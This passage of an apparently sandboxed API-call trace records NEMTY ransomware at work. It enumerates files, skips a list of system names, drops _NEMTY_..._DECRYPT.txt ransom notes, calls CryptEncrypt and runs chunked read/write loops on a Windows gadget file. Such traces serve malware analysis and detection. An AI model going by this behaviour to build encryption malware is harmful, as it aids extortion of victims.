hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0113.674] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf740f250, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf740f250, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf740f250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0113.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0113.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0113.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0113.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0113.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0113.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0113.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0113.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0113.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0113.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0113.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0113.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0113.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0113.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0113.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0113.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0113.674] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0113.675] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0113.675] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0113.675] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0113.675] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0113.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0113.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0113.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0113.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0113.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0113.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0113.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0113.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0113.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0113.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0113.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0113.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0113.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0113.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0113.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0113.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0113.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340480 [0113.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0113.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.676] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf740f250, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf740f250, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf740f250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0113.676] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0113.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340480 | out: hHeap=0x4f90000) returned 1 [0113.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0113.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0113.676] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2=".") returned 1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="..") returned 1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="...") returned 1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="windows") returned -1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="$RECYCLE.BIN") returned 1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="rsa") returned -1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="NTDETECT.COM") returned -1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="ntldr") returned -1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="MSDOS.SYS") returned -1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="IO.SYS") returned -1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="boot.ini") returned 1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="boot.ini") returned 1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="AUTOEXEC.BAT") returned 1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="ntuser.dat") returned -1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="desktop.ini") returned 1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="CONFIG.SYS") returned 1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="RECYCLER") returned -1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="BOOTSECT.BAK") returned 1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="bootmgr") returned 1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="programdata") returned -1 [0113.676] lstrcmpiW (lpString1="gadget.xml", lpString2="appdata") returned 1 [0113.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0113.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0113.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0113.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0113.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0113.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0113.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0113.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0113.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0113.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340268 | out: hHeap=0x4f90000) returned 1 [0113.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0113.677] Sleep (dwMilliseconds=0x5) [0113.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf76969b0, dwHighDateTime=0x1d561e7)) [0113.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf76969b0, dwHighDateTime=0x1d561e7)) [0113.691] GetLastError () returned 0x12 [0113.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0113.691] GetLastError () returned 0x12 [0113.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0113.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.691] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0113.691] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0113.691] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0113.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0113.691] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="CqDPiV38AHwxG7TXh9SE8rsPX52lHYx4yc7mEFpi7gG2R09g77ctDccuLTQHSyBh\r\n1GELzk7E6qU0BHwb6r6Nz+LXlBiH13Z87nYQXLn9fiJxIZQcnDgxH4ZGaSMXzUZ9\r\niMaSrH4gxdWuk38NLlf6sHIyGLebKVw61OC+odjcFGgbpVRP3HULNLipwHllbUkS\r\nAkvfrSFbH1oXguCCXKSzjJ8jTyRLAg1t/VgTR9UmIB/z2SRHu3ZUBmnZwdDL0N9C\r\nvuIwfBP3D0D7Uq0wHahrIyOzoDVhPZR5LRzwbbTW1WO//meU3HhLkqa6jAdJyZgI\r\nxncy0BQqn4Ke9vpZ80rNJQ==\r\n", pcchString=0x653e91c) returned 1 [0113.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0113.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0113.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0113.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0113.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0113.691] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0113.691] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0113.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0113.691] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.692] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.701] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.701] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.710] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.710] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.719] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.719] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.729] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.729] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.738] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.738] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.747] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.748] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.766] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.766] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.766] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.766] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.823] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.823] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 